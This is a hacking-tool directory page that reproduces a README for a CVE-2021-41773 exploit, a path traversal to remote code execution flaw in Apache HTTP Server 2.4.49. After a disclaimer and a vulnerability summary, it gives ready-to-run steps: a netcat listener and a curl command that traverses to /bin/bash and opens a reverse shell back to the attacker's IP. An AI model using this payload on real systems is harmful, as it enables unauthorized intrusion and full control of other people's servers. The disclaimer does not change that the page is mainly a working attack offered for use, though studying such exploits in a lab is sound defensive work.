Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE | Kitploit
Tools/GitHubGitHub/cyberquestor-infosec/cve-2021-41773-apache_2.4.49-path-traversal-to-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubcyberquestor-infosec/cve-2021-41773-apache_2.4.49-path-traversal-to-rce

CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
21 year agoNot yet reviewed

CVE-2021-41773 – Apache HTTP Server 2.4.49 Remote Code Execution

⚠️ Disclaimer
This repository is intended strictly for educational and research purposes only.
The information and code provided here can be used in controlled environments, such as private lab machines.
Unauthorized use of this code against systems you do not own or have explicit permission to test is illegal and unethical.
The author is not responsible for any misuse or damages caused.


🔍 About the Vulnerability

CVE-2021-41773 affects Apache HTTP Server version 2.4.49.
Due to improper input validation in path normalization, an attacker can exploit path traversal using encoded characters like %2e to access arbitrary files.
If CGI is enabled, this vulnerability can be escalated to unauthenticated remote code execution (RCE).

  • Vulnerability Type: Path Traversal to Remote Code Execution
  • Affected Version: Apache 2.4.49
  • Authentication Required: ❌ No
  • Severity: Critical
  • CVSS Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

🧾 References

  • Apache Security Advisory
  • Exploit-DB – 50383
  • GitHub PoC
  • NVD CVE Report

🛠 Exploit Overview

A malicious curl request is crafted to exploit the path traversal flaw. When CGI is enabled, attackers can reach /bin/bash and run arbitrary shell commands.
In this example, a reverse shell payload is sent to gain shell access from the server.


💥 Demonstration

This exploit was tested in a private lab environment. Below are the steps and outcomes.

1. Detecting Apache Version

An Nmap scan identified the target running Apache/2.4.49.

Apache Version


2. Exploit Execution

A reverse shell payload was delivered using a crafted curl command.

Exploit Execution


3. Reverse Shell Received

A reverse shell was successfully obtained on the attacker's listener.

Reverse Shell


📂 Exploit Usage

Step 1: Start Netcat Listener

root@kitploit:~
nc -nvlp 4444

Step 1: Run Exploit

root@kitploit:~
curl -v 'http://<target>:<port>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<your-ip>/4444 0>&1' -H 'Content-Type: text/plain'

✔️ Ensure:

Apache version is 2.4.49

CGI is enabled

Port 4444 (or your chosen port) is open through the firewall

📖 Medium Blog

Check out the detailed walkthrough and theory on my Medium post:
👉 Read the blog on Medium

Download Tool